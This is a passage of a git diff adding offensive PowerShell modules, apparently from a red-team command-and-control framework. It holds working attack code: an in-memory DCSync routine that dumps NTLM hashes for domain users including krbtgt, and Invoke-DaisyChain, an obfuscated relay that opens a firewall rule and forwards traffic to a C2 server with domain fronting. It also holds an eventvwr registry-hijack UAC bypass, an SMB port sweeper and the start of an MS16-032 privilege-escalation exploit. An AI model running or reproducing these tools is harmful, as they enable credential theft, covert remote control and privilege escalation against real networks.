AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes + + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "InvokeWide" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($DumpForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ForEach ($Domain in $TargetDomains) { + + Write-Verbose "Using domain '$Domain'" + $krbtgtName = Translate-Name "krbtgt@$($Domain)" + $DomainShortName = $krbtgtName.split("\")[0] + + $TargetUsers = @() + Write-Verbose "Users: $users" + + if($users) { + $TargetUsers = $users + } + if(!$users){ + if($GroupName) { + Write-Verbose "Querying for members of group '$GroupName'" + $TargetUsers = Get-NetGroupMember -Domain $Domain -GroupName $GroupName -DomainController $DomainController + } + else { + if($OnlyActive){ + Write-Verbose "Querying for active domain users" + $TargetUsers = @("krbtgt") + $TargetUsers += Get-NetUser -Domain $Domain -Filter "(!userAccountControl:1.2.840.113556.1.4.803:=2)$UserFilter" -DomainController $DomainController + } + else{ + Write-Verbose "Querying for all domain users" + $TargetUsers += Get-NetUser -Domain $Domain -Filter $UserFilter -DomainController $DomainController + } + if($GetComputers) { + Write-Verbose "Querying for all computer accounts" + $TargetUsers += Get-NetComputer -Domain $Domain -DomainController $DomainController + } + } + } + + if($AllData -and $PWDumpFormat){ $PWDumpFormat = $false } #Can't use both + + $plaintextWarning = $false + $permissionsWarning = $false + + $TargetUsers = $TargetUsers | ?{$_} + + if($TargetUsers){ + Write-Verbose "Querying for hashes" + foreach($u in $TargetUsers){ + $out = New-Object psobject + $out | Add-Member Noteproperty "Domain" $Domain + + if($u -is [system.array]) {$u = $u[0]} + $out | Add-Member Noteproperty "User" $u + + $command = "`"lsadump::dcsync /user:$($DomainShortName)\$($u)" + if($Domain) { + $command += " /domain:$Domain" + } + if($DomainController) { + $command += " /dc:$DomainController" + } + $command += "`"" + Write-Verbose "command: $command" + $CommandPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($command) + # Write-Verbose "CommandPtr: $CommandPtr" + [IntPtr]$OutputPtr = $StringFunc.Invoke($CommandPtr) + # Write-Verbose "OutputPtr: $OutputPtr" + if ($OutputPtr -ne [IntPtr]::Zero) + { + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + $Win32Functions.LocalFree.Invoke($OutputPtr); + if($AllData){ + $out = $Output + }else{ + if($Output -match ".*Primary:CLEARTEXT.*" -and (-not $plaintextWarning)){ + "[!] PlainText credentials found. HIGHLY recommend you restart with -AllData flag" + $plaintextWarning = $true + } + if($Output -match "ERROR kuhl_m_lsadump_dcsync.*" -and (-not $permissionsWarning)){ + "[!] DCSync returned an error. Do you have permissions?" + $permissionsWarning = $true + } + if($Output -match "Object Relative ID : (.+)"){ + $out | Add-Member Noteproperty "ID" $matches[1] + }else{ + $out | Add-Member Noteproperty "ID" "-" + } + if($Output -match "Hash NTLM: (.+)"){ + $out | Add-Member Noteproperty "Hash" $matches[1] + }else{ + $out | Add-Member Noteproperty "Hash" "-" + } + } + } + + if($PWDumpFormat){ + if($out.Hash -ne "-"){ + "$($out.User):$($out.ID):aad3b435b51404eeaad3b435b51404ee:$($out.Hash):::" + } + else{ + "$($out.User):$($out.ID):NONE:::" + } + } + else{ $out } + } + } + } +} diff --git a/Modules/Invoke-DaisyChain.ps1 b/Modules/Invoke-DaisyChain.ps1 new file mode 100755 index 0000000..faf55fb --- /dev/null +++ b/Modules/Invoke-DaisyChain.ps1 @@ -0,0 +1,244 @@ +<# +.Synopsis + Invoke-DaisyChain + + Ben Turner @benpturner + +.DESCRIPTION + PS C:\> Invoke-DaisyChain -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 -proxyuser dom\test -proxypassword pass -localhost (optional if low level user) +.EXAMPLE + PS C:\> Invoke-DaisyChain -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 +.EXAMPLE + PS C:\> Invoke-DaisyChain -daisyserver http://10.150.10.20 -port 8888 -c2port 8888 -c2server http://10.150.10.10 -URLs '"pwned/test/123","12345/drive/home.php"' +#> +$firewallName = "" +$serverPort = "" +function Invoke-DaisyChain { + +param( +[Parameter(Mandatory=$true)][string]$port, +[Parameter(Mandatory=$true)][string]$daisyserver, +[Parameter(Mandatory=$true)][string]$c2server, +[Parameter(Mandatory=$true)][string]$c2port, +[Parameter(Mandatory=$true)][string]$URLs, +[Parameter(Mandatory=$false)][switch]$Localhost, +[Parameter(Mandatory=$false)][switch]$NoFWRule, +[Parameter(Mandatory=$false)][AllowEmptyString()][string]$domfront, +[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxyurl, +[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxyuser, +[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxypassword +) +$fw = Get-FirewallName -Length 15 +$script:firewallName = $fw +$firewallName = $fw + +if ($Localhost.IsPresent){ +echo "[+] Using localhost parameter" +$HTTPServer = "localhost" +$daisyserver = "http://localhost" +$NoFWRule = $true +} else { +$HTTPServer = "+" +} + +$script:serverPort = $port +if ($NoFWRule.IsPresent) { + $fwcmd = "echo `"No firewall rule added`"" +}else { + echo "Adding firewall rule name: $firewallName for TCP port $port" + echo "Netsh.exe advfirewall firewall add rule name=`"$firewallName`" dir=in action=allow protocol=TCP localport=$port enable=yes" + $fwcmd = "Netsh.exe advfirewall firewall add rule name=`"$firewallName`" dir=in action=allow protocol=TCP localport=$port enable=yes" +} + +$fdsf = @" +`$username = "$proxyuser" +`$password = "$proxypassword" +`$proxyurl = "$proxyurl" +`$domainfrontheader = "$domfront" +`$serverport = '$port' +`$Server = "${c2server}:${c2port}" +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true} +function Get-Webclient (`$Cookie) { +`$username = `$username +`$password = `$password +`$proxyurl = `$proxyurl +`$wc = New-Object System.Net.WebClient; +`$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko") +`$wc.Headers.Add("Referer","") +`$h=`$domainfrontheader +if (`$h) {`$wc.Headers.Add("Host",`$h)} +if (`$proxyurl) { +`$wp = New-Object System.Net.WebProxy(`$proxyurl,`$true); +`$wc.Proxy = `$wp; +} +if (`$username -and `$password) { +`$PSS = ConvertTo-SecureString `$password -AsPlainText -Force; +`$getcreds = new-object system.management.automation.PSCredential `$username,`$PSS; +`$wp.Credentials = `$getcreds; +} else { +`$wc.UseDefaultCredentials = `$true; +} +if (`$cookie) { +`$wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=`$Cookie") +} +`$wc +} +`$httpresponse = ' + + +404 Not Found + +

Not Found

+

The requested URL/s was not found on this server.

+
+
Apache (Debian) Server
+ +' +`$URLS = $($URLS) +`$listener = New-Object -TypeName System.Net.HttpListener +`$listener.Prefixes.Add("http://$($HTTPServer):`$serverport/") +`$listener.Start() +echo "started http server" +while (`$listener.IsListening) +{ + if (`$kill.log -eq 2) {`$listener.Stop();exit} + `$message = `$null + `$context = `$listener.GetContext() # blocks until request is received + `$request = `$context.Request + `$response = `$context.Response + `$url = `$request.RawUrl + `$newurl = `$url -replace "\?", "" + `$method = `$request.HttpMethod + if (`$null -ne (`$URLS | ? { `$newurl -match `$_ }) ) { + `$cookiesin = `$request.Cookies -replace 'SessionID=', '' + `$responseStream = `$request.InputStream + `$targetStream = New-Object -TypeName System.IO.MemoryStream + `$buffer = new-object byte[] 10KB + `$count = `$responseStream.Read(`$buffer,0,`$buffer.length) + `$downloadedBytes = `$count + while (`$count -gt 0) + { + `$targetStream.Write(`$buffer, 0, `$count) + `$count = `$responseStream.Read(`$buffer,0,`$buffer.length) + `$downloadedBytes = `$downloadedBytes + `$count + } + `$len = `$targetStream.length + `$size = `$len + 1 + `$size2 = `$len -1 + `$buffer = New-Object byte[] `$size + `$targetStream.Position = 0 + `$targetStream.Read(`$buffer, 0, `$targetStream.Length)|Out-null + `$buffer = `$buffer[0..`$size2] + `$targetStream.Flush() + `$targetStream.Close() + `$targetStream.Dispose() + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true} + if (`$method -eq "GET") { + `$message = (Get-Webclient -Cookie `$cookiesin).DownloadString("`$(`$Server)`$(`$url)") + } + if (`$method -eq "POST") { + `$message = (Get-Webclient -Cookie `$cookiesin).UploadData("`$(`$Server)`$(`$url)", `$buffer) + } + } + if (!`$message) { + `$message = `$httpresponse + echo `$request + } + [byte[]] `$buffer = [System.Text.Encoding]::UTF8.GetBytes(`$message) + `$response.ContentLength64 = `$buffer.length + `$response.StatusCode = 200 + `$response.Headers.Add("CacheControl", "no-cache, no-store, must-revalidate") + `$response.Headers.Add("Pragma", "no-cache") + `$response.Headers.Add("Expires", 0) + `$output = `$response.OutputStream + `$output.Write(`$buffer, 0, `$buffer.length) + `$output.Close() + `$message = `$null +} +`$listener.Stop() +"@ + +$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($fdsf) +$CompressedStream = New-Object IO.MemoryStream +$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) +$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) +$DeflateStream.Dispose() +$CompressedScriptBytes = $CompressedStream.ToArray() +$CompressedStream.Dispose() +$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) +$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + +$t = Invoke-Netstat| ? {$_.ListeningPort -eq $port} +$global:kill = [HashTable]::Synchronized(@{}) +$kill.log = "1" + +$fwcmd|iex + +if (!$t) { + if (Test-Administrator) { + $Runspace = [RunspaceFactory]::CreateRunspace() + $Runspace.Open() + $Runspace.SessionStateProxy.SetVariable('Kill',$Kill) + $Jobs = @() + $Job = [powershell]::Create().AddScript($NewScript) + $Job.Runspace = $Runspace + $Job.BeginInvoke() | Out-Null + echo "" + echo "[+] Running DaisyServer as Administrator:" + } else { + $Runspace = [RunspaceFactory]::CreateRunspace() + $Runspace.Open() + $Runspace.SessionStateProxy.SetVariable('Kill',$Kill) + $Jobs = @() + $Job = [powershell]::Create().AddScript($NewScript) + $Job.Runspace = $Runspace + $Job.BeginInvoke() | Out-Null + echo "" + echo "[+] Running DaisyServer as Standard User, must use -localhost flag for this to work:" + } + + echo "[+] To stop the Daisy Server, Stop-Daisy current process" +} + +} +function Stop-Daisy { +$kill.log = 2 +Netsh.exe advfirewall firewall del rule name="$firewallName" +(new-object system.net.webclient).downloadstring("http://localhost:$serverPort") +} +function Get-FirewallName +{ +param ( + [int]$Length +) +$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray() +$result = '' +for ($x = 0; $x -lt $Length; $x++) +{ + $result += $set | Get-Random +} +return $result +} +Function Invoke-Netstat { +try { + $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() + $Connections = $TCPProperties.GetActiveTcpListeners() + foreach($Connection in $Connections) { + if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } + $OutputObj = New-Object -TypeName PSobject + $OutputObj | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $connection.Address + $OutputObj | Add-Member -MemberType NoteProperty -Name "ListeningPort" -Value $Connection.Port + $OutputObj | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType + $OutputObj + } + +} catch { + Write-Error "Failed to get listening connections. $_" +} +} +function Test-Administrator +{ + $user = [Security.Principal.WindowsIdentity]::GetCurrent(); + (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) +} + diff --git a/Modules/Invoke-EventVwrBypass.ps1 b/Modules/Invoke-EventVwrBypass.ps1 new file mode 100644 index 0000000..3f28e84 --- /dev/null +++ b/Modules/Invoke-EventVwrBypass.ps1 @@ -0,0 +1,82 @@ +function Invoke-EventVwrBypass { +<# +.SYNOPSIS + +Bypasses UAC by performing an image hijack on the .msc file extension +Expected to work on Win7, 8.1 and Win10 + +Only tested on Windows 7 and Windows 10 + +Author: Matt Nelson (@enigma0x3) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER Command + + Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc " + +.EXAMPLE + +Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" + +This will write out "Is Elevated: True" to C:\UACBypassTest. + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Command, + + [Switch] + $Force + ) + + $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" + #Add in the new registry entries to hijack the msc file + if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ + New-Item $mscCommandPath -Force | + New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null + }else{ + Write-Verbose "Key already exists, consider using -Force" + exit + } + + if (Test-Path $mscCommandPath) { + Write-Verbose "Created registry entries to hijack the msc extension" + }else{ + Write-Warning "Failed to create registry key, exiting" + exit + } + + + $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe' + + #Start Event Viewer + if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) { + $Process = Start-Process -FilePath $EventvwrPath -PassThru + Write-Verbose "Started eventvwr.exe" + } + + #Sleep 5 seconds + Write-Verbose "Sleeping 5 seconds to trigger payload" + if (-not $PSBoundParameters['WhatIf']) { + Start-Sleep -Seconds 5 + } + + $mscfilePath = "HKCU:\Software\Classes\mscfile" + + if (Test-Path $mscfilePath) { + #Remove the registry entry + Remove-Item $mscfilePath -Recurse -Force + Write-Verbose "Removed registry entries" + } + + if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ + Stop-Process -Id $Process.Id + Write-Verbose "Killed running eventvwr process" + } +} diff --git a/Modules/Invoke-Hostscan.ps1 b/Modules/Invoke-Hostscan.ps1 new file mode 100644 index 0000000..5609dc8 --- /dev/null +++ b/Modules/Invoke-Hostscan.ps1 @@ -0,0 +1,283 @@ +<# +.Synopsis + Generates a list of IPv4 IP Addresses given a Start and End IP - All credit to @darkoperator +.DESCRIPTION + Generates a list of IPv4 IP Addresses given a Start and End IP. +.EXAMPLE + Generating a list of IPs from CIDR + + Get-IPRange 192.168.1.0/24 + +.EXAMPLE + Generating a list of IPs from Range + + Get-IPRange -Range 192.168.1.1-192.168.1.50 +#> +function New-IPv4Range +{ + param( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=0)] + $StartIP, + + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=2)] + $EndIP + ) + + # created by Dr. Tobias Weltner, MVP PowerShell + $ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes() + [Array]::Reverse($ip1) + $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address + + $ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes() + [Array]::Reverse($ip2) + $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address + + for ($x=$ip1; $x -le $ip2; $x++) { + $ip = ([System.Net.IPAddress]$x).GetAddressBytes() + [Array]::Reverse($ip) + $ip -join '.' + } +} +<# +.Synopsis + Generates a IP Address Objects for IPv4 and IPv6 Ranges - All credit to @darkoperator +.DESCRIPTION + Generates a IP Address Objects for IPv4 and IPv6 Ranges given a ranges in CIDR or + range - format. +.EXAMPLE + PS C:\> New-IPvRange -Range 192.168.1.1-192.168.1.5 + + Generate a collection of IPv4 Object collection for the specified range. + +.EXAMPLE + New-IPRange -Range 192.168.1.1-192.168.1.50 | select -ExpandProperty ipaddresstostring + + Get a list of IPv4 Addresses in a given range as a list for use in another tool. +#> +function New-IPRange +{ + [CmdletBinding(DefaultParameterSetName='CIDR')] + Param( + [parameter(Mandatory=$true, + ParameterSetName = 'CIDR', + Position=0)] + [string]$CIDR, + + [parameter(Mandatory=$true, + ParameterSetName = 'Range', + Position=0)] + [string]$Range + ) + if($CIDR) + { + $IPPart,$MaskPart = $CIDR.Split('/') + $AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily + + # Get the family type for the IP (IPv4 or IPv6) + $subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily) + + # Get the Network and Brodcast Addressed + $StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj) + $EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj) + + # Ensure we do not list the Network and Brodcast Address + $StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP) + $EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP) + [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) + } + elseif ($Range) + { + $StartIP, $EndIP = $range.split('-') + [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) + } +} + +<# +.Synopsis + Generates a list of IPv4 IP Addresses given a CIDR - All credit to @darkoperator +.DESCRIPTION + Generates a list of IPv4 IP Addresses given a CIDR. +.EXAMPLE + Generating a list of IPs + PS C:\> New-IPv4RangeFromCIDR -Network 192.168.1.0/29 + 192.168.1.1 + 192.168.1.2 + 192.168.1.3 + 192.168.1.4 + 192.168.1.5 + 192.168.1.6 + 192.168.1.7 +#> +function New-IPv4RangeFromCIDR +{ + param( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=0)] + $Network + ) + # Extract the portions of the CIDR that will be needed + $StrNetworkAddress = ($Network.split('/'))[0] + [int]$NetworkLength = ($Network.split('/'))[1] + $NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes() + $IPLength = 32-$NetworkLength + [Array]::Reverse($NetworkIP) + $NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1 + $NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address + $StartIP = $NetworkIP +1 + $EndIP = $NetworkIP + $NumberOfIPs + # We make sure they are of type Double before conversion + If ($EndIP -isnot [double]) + { + $EndIP = $EndIP -as [double] + } + If ($StartIP -isnot [double]) + { + $StartIP = $StartIP -as [double] + } + # We turn the start IP and end IP in to strings so they can be used. + $StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString + $EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString + New-IPv4Range $StartIP $EndIP +} + +$runme = +{ + param + ( + [Object] + $IPAddress, + [Object] + $Creds, + [Object] + $Command + ) + + $getcreds = $Creds + $Port = 445 + $Socket = New-Object Net.Sockets.TcpClient + $Socket.client.ReceiveTimeout = 2000 + $ErrorActionPreference = 'SilentlyContinue' + $Socket.Connect($IPAddress, $Port) + $ErrorActionPreference = 'Continue' + + if ($Socket.Connected) { + $endpointResult = New-Object PSObject | Select-Object Host + $endpointResult.Host = $IPAddress + $Socket.Close() + } else { + $portclosed = 'True' + } + + $Socket = $null + return $endpointResult +} +<# +.Synopsis + 445 Scan over Windows(TCP 445) - @benpturner +.DESCRIPTION + 445 Scan over Windows(TCP 445) - @benpturner +.EXAMPLE + Invoke-Hostscan -IPRangeCIDR 172.16.0.0/24 +#> +function Invoke-Hostscan +{ + param + ( + [Object] + $IPAddress, + [Object] + $IPRangeCIDR, + [Object] + $IPList, + [Object] + $Threads + ) + + if ($IPList) {$iprangefull = Get-Content $IPList} + if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR} + if ($IPAddress) {$iprangefull = $IPAddress} + Write-Output '' + Write-Output $iprangefull.count Total hosts read from file + + $jobs = @() + $start = get-date + Write-Output `n"Begin Scanning at $start" -ForegroundColor Red + + #Multithreading setup + # create a pool of maxThread runspaces + if (!$Threads){$Threads = 64} + $pool = [runspacefactory]::CreateRunspacePool(1, $Threads) + $pool.Open() + $endpointResults = @() + $jobs = @() + $ps = @() + $wait = @() + + $i = 0 + #Loop through the endpoints starting a background job for each endpoint + foreach ($endpoint in $iprangefull) + { + while ($($pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -milliseconds 500 + } + + # create a "powershell pipeline runner" + $ps += [powershell]::create() + + # assign our pool of 3 runspaces to use + $ps[$i].runspacepool = $pool + + # command to run + [void]$ps[$i].AddScript($runme) + [void]$ps[$i].AddParameter('IPAddress', $endpoint) + [void]$ps[$i].AddParameter('Creds', $getcreds) + [void]$ps[$i].AddParameter('Command', $Command) + # start job + $jobs += $ps[$i].BeginInvoke(); + + # store wait handles for WaitForAll call + $wait += $jobs[$i].AsyncWaitHandle + + $i++ + } + + Write-Output 'Waiting for scanning threads to finish...' -ForegroundColor Cyan + + $waitTimeout = get-date + + while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) { + Start-Sleep -milliseconds 500 + } + + # end async call + for ($y = 0; $y -lt $i; $y++) { + + try { + # complete async job + $endpointResults += $ps[$y].EndInvoke($jobs[$y]) + + } catch { + + # oops-ee! + write-warning "error: $_" + } + + finally { + $ps[$y].Dispose() + } + } + + $pool.Dispose() + + #Statistics + $end = get-date + $totaltime = $end - $start + + Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds" -ForegroundColor green + $endpointResults +} \ No newline at end of file diff --git a/Modules/Invoke-MS16-032-Proxy.ps1 b/Modules/Invoke-MS16-032-Proxy.ps1 new file mode 100644 index 0000000..27ffd1c --- /dev/null +++ b/Modules/Invoke-MS16-032-Proxy.ps1 @@ -0,0 +1,2661 @@ +$scriptblock = +{ +function Invoke-MS16-032 +{ +<# +.SYNOPSIS + +This script leverages MS16-032 and Invoke-ReflectivePEInjection to reflectively load MS16-032 PE completely in memory. + +.DESCRIPTION + +This script leverages MS16-032 and Invoke-ReflectivePEInjection to reflectively load MS16-032 PE completely in memory. + +.PARAMETER Command + +Supply a custom command line. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +#> + +Param( + + [Parameter(ParameterSetName = "CustomCommand", Position = 0)] + [String] + $Command +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + 